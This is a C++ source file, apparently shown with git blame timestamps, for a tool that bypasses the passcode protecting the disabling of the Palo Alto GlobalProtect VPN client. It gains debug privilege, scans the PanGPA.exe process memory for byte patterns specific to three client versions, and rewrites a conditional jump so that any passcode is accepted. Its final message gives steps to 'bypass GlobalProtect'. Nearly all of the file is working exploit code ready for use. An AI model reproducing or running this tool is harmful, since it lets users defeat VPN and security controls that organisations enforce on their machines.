2018-02-02 22:22:43 +01:00
/*
* Global Protect VPN Application patcher allowing the
* Administrator user to disable VPN without Passcode .
*
* It does this by patching process memory and thus allowing to
* disable VPN without entering proper password .
*
2020-04-28 15:28:38 +02:00
* Tested on Palo Alto Networks :
* GlobalProtect client 3.1 .6 .19 ( x64 )
* GlobalProtect client 5.0 .3 .29 ( x64 )
2018-02-02 22:22:43 +01:00
*
2020-04-28 15:28:38 +02:00
* Compilation :
* C : > g + + GlobalProtectDisable . cpp - o GlobalProtectDisable . exe - static - static - libgcc - static - libstdc + +
*
2021-10-24 23:11:42 +02:00
* Mariusz Banach / mgeeky , ' 18 - ' 20
2018-02-02 22:22:43 +01:00
* */
# include "windows.h"
# include <iostream>
# include <sstream>
# include <tlhelp32.h>
using namespace std ;
const wchar_t * processName = L " PanGPA.exe " ;
2021-02-01 18:14:47 +01:00
const size_t PatternsNum = 3 ;
2020-04-28 15:28:38 +02:00
const size_t SizeOfReplacingBytes = 2 ;
const wchar_t * versionsArray [ PatternsNum ] = {
L " 3.1.6.19 " ,
2021-02-01 18:14:47 +01:00
L " 5.0.3.29 " ,
L " 5.1.3.12 "
2020-04-28 15:28:38 +02:00
} ;
//
// Patterns defined below must end up just before bytes intended to be replaced,
// so just before JNE opcodes (75 XY)
//
2018-02-02 22:22:43 +01:00
/*
00007FF 621 B7D02A | 85 C0 | test eax , eax |
00007FF 621 B7D02C | 78 61 | js pangpa .7F F621B7D08F |
00007FF 621 B7D02E | 48 8 B CB | mov rcx , rbx |
00007FF 621 B7D031 | E8 7 A 00 00 00 | call pangpa .7F F621B7D0B0 |
00007FF 621 B7D036 | 85 C0 | test eax , eax |
00007FF 621 B7D038 | 75 55 | jne pangpa .7F F621B7D08F
2020-04-28 15:28:38 +02:00
^ - - - This is byte to be patched . - - - - ^
*/
const BYTE patternToFind31619 [ ] = {
0x85 , 0xC0 , 0x78 , 0x61 , 0x48 , 0x8B , 0xCB , 0xE8 ,
0x7A , 0x00 , 0x00 , 0x00 , 0x85 , 0xC0
} ;
/*
. text : 000000014005 BFCC 48 83 C1 78 add rcx , 78 h ; ' x '
. text : 000000014005 BFD0 FF 15 BA B3 04 00 call cs : CRichEditView : : XRichEditOleCallback : : ContextSensitiveHelp ( int )
. text : 000000014005 BFD6 85 C0 test eax , eax
. text : 000000014005 BFD8 75 49 jnz short loc_14005C023
^ - - - This is byte to be patched . - - - - ^
. text : 000000014005 BFDA 83 3 D B3 94 0 A 00 05 cmp cs : dword_140105494 , 5
Look for strings such as :
" CDisableDialog::CheckPasscode - passcode matched, ok to disable "
" CDisableDialog::CheckPasscode - passcode mismatch, deny disabling "
2018-02-02 22:22:43 +01:00
*/
2020-04-28 15:28:38 +02:00
const BYTE patternToFind50329 [ ] = {
0x48 , 0x83 , 0xc1 , 0x78 , 0xff , 0x15 , 0xba , 0xb3 , 0x04 , 0x00 ,
0x85 , 0xc0
2018-02-02 22:22:43 +01:00
} ;
2020-04-28 15:28:38 +02:00
2021-02-01 18:14:47 +01:00
/*
. text : 000000014009E654 4 C 89 B4 24 88 00 00 00 mov [ rsp + 0 A8h + var_20 ] , r14
. text : 000000014009E65 C 4 C 89 BC 24 80 00 00 00 mov [ rsp + 0 A8h + var_28 ] , r15
. text : 000000014009E664 85 D2 test edx , edx
. text : 000000014009E666 0F 85 8 C 00 00 00 jnz loc_14009E6F8
^ - - - This is byte to be patched . - - - - - - - ^
. text : 000000014009E66 C 83 3 D 41 E4 34 00 05 cmp cs : dword_1403ECAB4 , 5
. text : 000000014009E673 72 78 jb short loc_14009E6ED
. text : 000000014009E675 48 8 D 4 C 24 60 lea rcx , [ rsp + 0 A8h + SystemTime ] ; lpSystemTime
*/
const BYTE patternToFind51312 [ ] = {
0x24 , 0x88 , 0x00 , 0x00 , 0x00 , 0x4c , 0x89 , 0xBC , 0x24 , 0x80 ,
0x00 , 0x00 , 0x00 , 0x85 , 0xD2
} ;
2020-04-28 15:28:38 +02:00
2018-02-02 22:22:43 +01:00
// jne pangpa.7FF621B7D08F
2020-04-28 15:28:38 +02:00
const BYTE bytesToBeReplaced31619 [ SizeOfReplacingBytes ] = {
0x75 , 0x55
2018-02-02 22:22:43 +01:00
} ;
// je pangpa.7FF621B7D08F
2020-04-28 15:28:38 +02:00
const BYTE replacingBytes31619 [ SizeOfReplacingBytes ] = {
0x74 , 0x55
} ;
// jnz short loc_14005C023
const BYTE bytesToBeReplaced50329 [ SizeOfReplacingBytes ] = {
0x75 , 0x49
} ;
// jz short loc_14005C023
const BYTE replacingBytes50329 [ SizeOfReplacingBytes ] = {
0x74 , 0x49
} ;
2021-02-01 18:14:47 +01:00
// jnz loc_14009E6F8
const BYTE bytesToBeReplaced51312 [ SizeOfReplacingBytes ] = {
0x0F , 0x85
} ;
// jz loc_14009E6F8
const BYTE replacingBytes51312 [ SizeOfReplacingBytes ] = {
0x0F , 0x84
} ;
2020-04-28 15:28:38 +02:00
const BYTE * patternsArray [ PatternsNum ] = {
patternToFind31619 ,
2021-02-01 18:14:47 +01:00
patternToFind50329 ,
patternToFind51312
2020-04-28 15:28:38 +02:00
} ;
const size_t patternsSizes [ PatternsNum ] = {
sizeof ( patternToFind31619 ) ,
2021-02-01 18:14:47 +01:00
sizeof ( patternToFind50329 ) ,
sizeof ( patternToFind51312 )
2020-04-28 15:28:38 +02:00
} ;
const BYTE * patternsToBeReplaced [ PatternsNum ] = {
bytesToBeReplaced31619 ,
2021-02-01 18:14:47 +01:00
bytesToBeReplaced50329 ,
bytesToBeReplaced51312
2018-02-02 22:22:43 +01:00
} ;
2020-04-28 15:28:38 +02:00
const BYTE * replacingBytes [ PatternsNum ] = {
replacingBytes31619 ,
2021-02-01 18:14:47 +01:00
replacingBytes50329 ,
replacingBytes51312
2020-04-28 15:28:38 +02:00
} ;
2018-02-02 22:22:43 +01:00
struct moduleInfo {
2020-04-28 15:28:38 +02:00
UINT64 baseAddr ;
DWORD baseSize ;
2018-02-02 22:22:43 +01:00
} ;
bool alreadyPatched = false ;
void dbg ( const wchar_t * format , . . . ) {
2020-04-28 15:28:38 +02:00
wchar_t buffer [ 4096 ] ;
va_list args ;
va_start ( args , format ) ;
vswprintf ( buffer , format , args ) ;
2018-02-02 22:22:43 +01:00
2020-04-28 15:28:38 +02:00
wcout < < L " [dbg] " < < buffer < < endl ;
va_end ( args ) ;
2018-02-02 22:22:43 +01:00
}
void msg ( const wchar_t * format , . . . ) {
2020-04-28 15:28:38 +02:00
wchar_t buffer [ 4096 ] ;
va_list args ;
va_start ( args , format ) ;
vswprintf ( buffer , format , args ) ;
2018-02-02 22:22:43 +01:00
2020-04-28 15:28:38 +02:00
MessageBoxW ( NULL , buffer , L " GlobalProtectDisable " , 0 ) ;
va_end ( args ) ;
2018-02-02 22:22:43 +01:00
}
BOOL setPrivilege (
HANDLE hToken , // access token handle
LPCTSTR lpszPrivilege , // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
) {
TOKEN_PRIVILEGES tp ;
LUID luid ;
if ( ! LookupPrivilegeValue (
NULL , // lookup privilege on local system
lpszPrivilege , // privilege to lookup
& luid ) ) // receives LUID of privilege
{
printf ( " LookupPrivilegeValue error: %u \n " , GetLastError ( ) ) ;
return FALSE ;
}
tp . PrivilegeCount = 1 ;
tp . Privileges [ 0 ] . Luid = luid ;
if ( bEnablePrivilege )
tp . Privileges [ 0 ] . Attributes = SE_PRIVILEGE_ENABLED ;
else
tp . Privileges [ 0 ] . Attributes = 0 ;
// Enable the privilege or disable all privileges.
if ( ! AdjustTokenPrivileges (
hToken ,
FALSE ,
& tp ,
sizeof ( TOKEN_PRIVILEGES ) ,
( PTOKEN_PRIVILEGES ) NULL ,
( PDWORD ) NULL ) ) {
printf ( " AdjustTokenPrivileges error: %u \n " , GetLastError ( ) ) ;
return FALSE ;
}
if ( GetLastError ( ) = = ERROR_NOT_ALL_ASSIGNED ) {
printf ( " The token does not have the specified privilege. \n " ) ;
return FALSE ;
}
return TRUE ;
}
DWORD findProcess ( const wchar_t * procname ) {
2020-04-28 15:28:38 +02:00
HANDLE hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS , 0 ) ;
2018-02-02 22:22:43 +01:00
if ( hSnapshot ) {
PROCESSENTRY32W pe32 ;
pe32 . dwSize = sizeof ( PROCESSENTRY32W ) ;
if ( Process32FirstW ( hSnapshot , & pe32 ) ) {
do {
2020-04-28 15:28:38 +02:00
if ( wcsicmp ( procname , pe32 . szExeFile ) = = 0 ) {
return pe32 . th32ProcessID ;
}
2018-02-02 22:22:43 +01:00
} while ( Process32NextW ( hSnapshot , & pe32 ) ) ;
}
CloseHandle ( hSnapshot ) ;
}
2020-04-28 15:28:38 +02:00
return 0 ;
2018-02-02 22:22:43 +01:00
}
BOOL getProcessModule (
2020-04-28 15:28:38 +02:00
const wchar_t * modName ,
DWORD pid ,
struct moduleInfo * out
2018-02-02 22:22:43 +01:00
) {
2020-04-28 15:28:38 +02:00
dbg ( L " PID = %d " , pid ) ;
HANDLE hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPMODULE , pid ) ;
2018-02-02 22:22:43 +01:00
if ( hSnapshot ! = INVALID_HANDLE_VALUE ) {
MODULEENTRY32W me32 ;
me32 . dwSize = sizeof ( MODULEENTRY32W ) ;
if ( Module32FirstW ( hSnapshot , & me32 ) ) {
do {
2020-04-28 15:28:38 +02:00
dbg ( L " Module name: %ls " , me32 . szModule ) ;
2018-02-02 22:22:43 +01:00
2020-04-28 15:28:38 +02:00
if ( wcsicmp ( modName , me32 . szModule ) = = 0 ) {
memset ( out , 0 , sizeof ( struct moduleInfo ) ) ;
2018-02-02 22:22:43 +01:00
2020-04-28 15:28:38 +02:00
out - > baseAddr = ( UINT64 ) me32 . modBaseAddr ;
out - > baseSize = me32 . modBaseSize ;
2018-02-02 22:22:43 +01:00
2020-04-28 15:28:38 +02:00
return true ;
}
2018-02-02 22:22:43 +01:00
} while ( Module32NextW ( hSnapshot , & me32 ) ) ;
}
else {
2020-04-28 15:28:38 +02:00
dbg ( L " Module32FirstW failed. " ) ;
2018-02-02 22:22:43 +01:00
}
CloseHandle ( hSnapshot ) ;
}
else {
2020-04-28 15:28:38 +02:00
dbg ( L " CreateToolhelp32Snapshot failed. " ) ;
2018-02-02 22:22:43 +01:00
}
return false ;
}
BOOL patchProcessMemory (
2020-04-28 15:28:38 +02:00
struct moduleInfo & mod ,
DWORD pid ,
HANDLE hProcess ,
const BYTE * patternToFind ,
size_t patternToFindNum ,
const BYTE * bytesToBeReplaced ,
size_t bytesToBeReplacedNum ,
const BYTE * replacingBytes ,
size_t replacingBytesNum
2018-02-02 22:22:43 +01:00
) {
2020-04-28 15:28:38 +02:00
dbg ( L " Module base: %llx, module size: %d " , mod . baseAddr , mod . baseSize ) ;
BYTE page [ 4096 ] ;
SIZE_T fetched = 0 ;
UINT64 addr = mod . baseAddr ;
while ( fetched < mod . baseSize ) {
memset ( page , 0 , sizeof ( page ) ) ;
SIZE_T out = 0 ;
if ( ReadProcessMemory (
hProcess ,
reinterpret_cast < LPCVOID > ( addr ) ,
page ,
sizeof ( page ) ,
& out
) ) {
UINT64 foundAddr = 0 ;
for ( size_t m = 0 ; m < sizeof ( page ) ; m + + ) {
if ( page [ m ] = = patternToFind [ 0 ] ) {
bool found = true ;
for ( size_t n = 0 ; n < patternToFindNum ; n + + ) {
if ( page [ m + n ] ! = patternToFind [ n ] ) {
found = false ;
break ;
}
}
if ( found ) {
dbg ( L " Found pattern at: %016llx: %x, %x, %x, %x, %x, %x, %x, %x, ... " ,
addr + m ,
page [ m + 0 ] ,
page [ m + 1 ] ,
page [ m + 2 ] ,
page [ m + 3 ] ,
page [ m + 4 ] ,
page [ m + 5 ] ,
page [ m + 6 ] ,
page [ m + 7 ]
) ;
for ( size_t n = 0 ; n < bytesToBeReplacedNum ; n + + ) {
if ( page [ m + patternToFindNum + n ] ! = bytesToBeReplaced [ n ] ) {
found = false ;
if ( page [ m + patternToFindNum + n ] = = replacingBytes [ n ] ) {
msg ( L " Process is already patched. \n No need to do it again. " ) ;
alreadyPatched = true ;
return false ;
}
dbg ( L " Assuring pattern failed at byte %d: %x -> %x " ,
n , page [ m + patternToFindNum + n ] , bytesToBeReplaced [ n ] ) ;
break ;
}
}
if ( found ) {
foundAddr = addr + m + patternToFindNum ;
dbg ( L " Found pattern at: 0x%llx " , foundAddr ) ;
break ;
}
}
}
}
if ( foundAddr ) {
dbg ( L " Starting patching process from address: %016llx " , foundAddr ) ;
out = 0 ;
if ( WriteProcessMemory (
hProcess ,
reinterpret_cast < LPVOID > ( foundAddr ) ,
replacingBytes ,
replacingBytesNum ,
& out
) ) {
dbg ( L " Process has been patched, written: %d bytes. " , out ) ;
return true ;
}
dbg ( L " Process patching failed. " ) ;
return false ;
}
fetched + = out ;
addr + = out ;
}
}
2018-02-02 22:22:43 +01:00
2020-04-28 15:28:38 +02:00
return false ;
2018-02-02 22:22:43 +01:00
}
int CALLBACK WinMain (
HINSTANCE hInstance ,
HINSTANCE hPrevInstance ,
LPSTR lpCmdLine ,
int nCmdShow
) {
2020-04-28 15:28:38 +02:00
HANDLE hToken = NULL ;
2018-02-02 22:22:43 +01:00
2020-04-28 15:28:38 +02:00
if ( ! OpenProcessToken ( GetCurrentProcess ( ) , TOKEN_ADJUST_PRIVILEGES , & hToken ) ) {
2018-02-02 22:22:43 +01:00
msg ( L " OpenProcessToken() failed, error %u \n " , GetLastError ( ) ) ;
return 0 ;
}
2020-04-28 15:28:38 +02:00
if ( ! setPrivilege ( hToken , SE_DEBUG_NAME , TRUE ) ) {
2018-02-02 22:22:43 +01:00
msg ( L " Failed to enable privilege, error %u \n " , GetLastError ( ) ) ;
return 0 ;
}
2020-04-28 15:28:38 +02:00
DWORD pid = findProcess ( processName ) ;
if ( ! pid ) {
msg ( L " Could not find GlobalProtect process. " ) ;
return 0 ;
}
dbg ( L " Found PanGPA process: %d " , pid ) ;
HANDLE hProcess = OpenProcess ( PROCESS_ALL_ACCESS , FALSE , pid ) ;
if ( ! hProcess ) {
msg ( L " Could not open GlobalProtect process. Error: %d " , GetLastError ( ) ) ;
return 0 ;
}
dbg ( L " Opened process handle. " ) ;
BOOL ret ;
struct moduleInfo mod = { 0 } ;
if ( ! getProcessModule ( processName , pid , & mod ) ) {
dbg ( L " Could not find process module. Error: %d " , GetLastError ( ) ) ;
return false ;
}
size_t i = 0 ;
for ( i = 0 ; i < PatternsNum ; i + + )
{
dbg ( L " Trying to match pattern for version: %ls " , versionsArray [ i ] ) ;
ret = patchProcessMemory (
mod ,
pid ,
hProcess ,
patternsArray [ i ] ,
patternsSizes [ i ] ,
patternsToBeReplaced [ i ] ,
SizeOfReplacingBytes ,
replacingBytes [ i ] ,
SizeOfReplacingBytes
) ;
if ( ret ) break ;
}
if ( ! ret ) {
if ( ! alreadyPatched ) {
msg ( L " Could not patch the process. Error: %d " , GetLastError ( ) ) ;
}
}
else {
msg ( L " Successfully patched the process (version: %ls)! :-) \n Now, in order to bypass GlobalProtect - do the following: \n \t 1. Right click on GlobalProtect Tray-icon \n \t 2. Select 'Disable' \n \t 3. In 'Passcode' input field enter whatever you like. \n \t 4. Press OK. \n \n The GlobalProtect should disable itself cleanly. \n \n Have fun! " , versionsArray [ i ] ) ;
}
dbg ( L " Closing process handle. " ) ;
CloseHandle ( hProcess ) ;
return 0 ;
2018-02-02 22:22:43 +01:00
}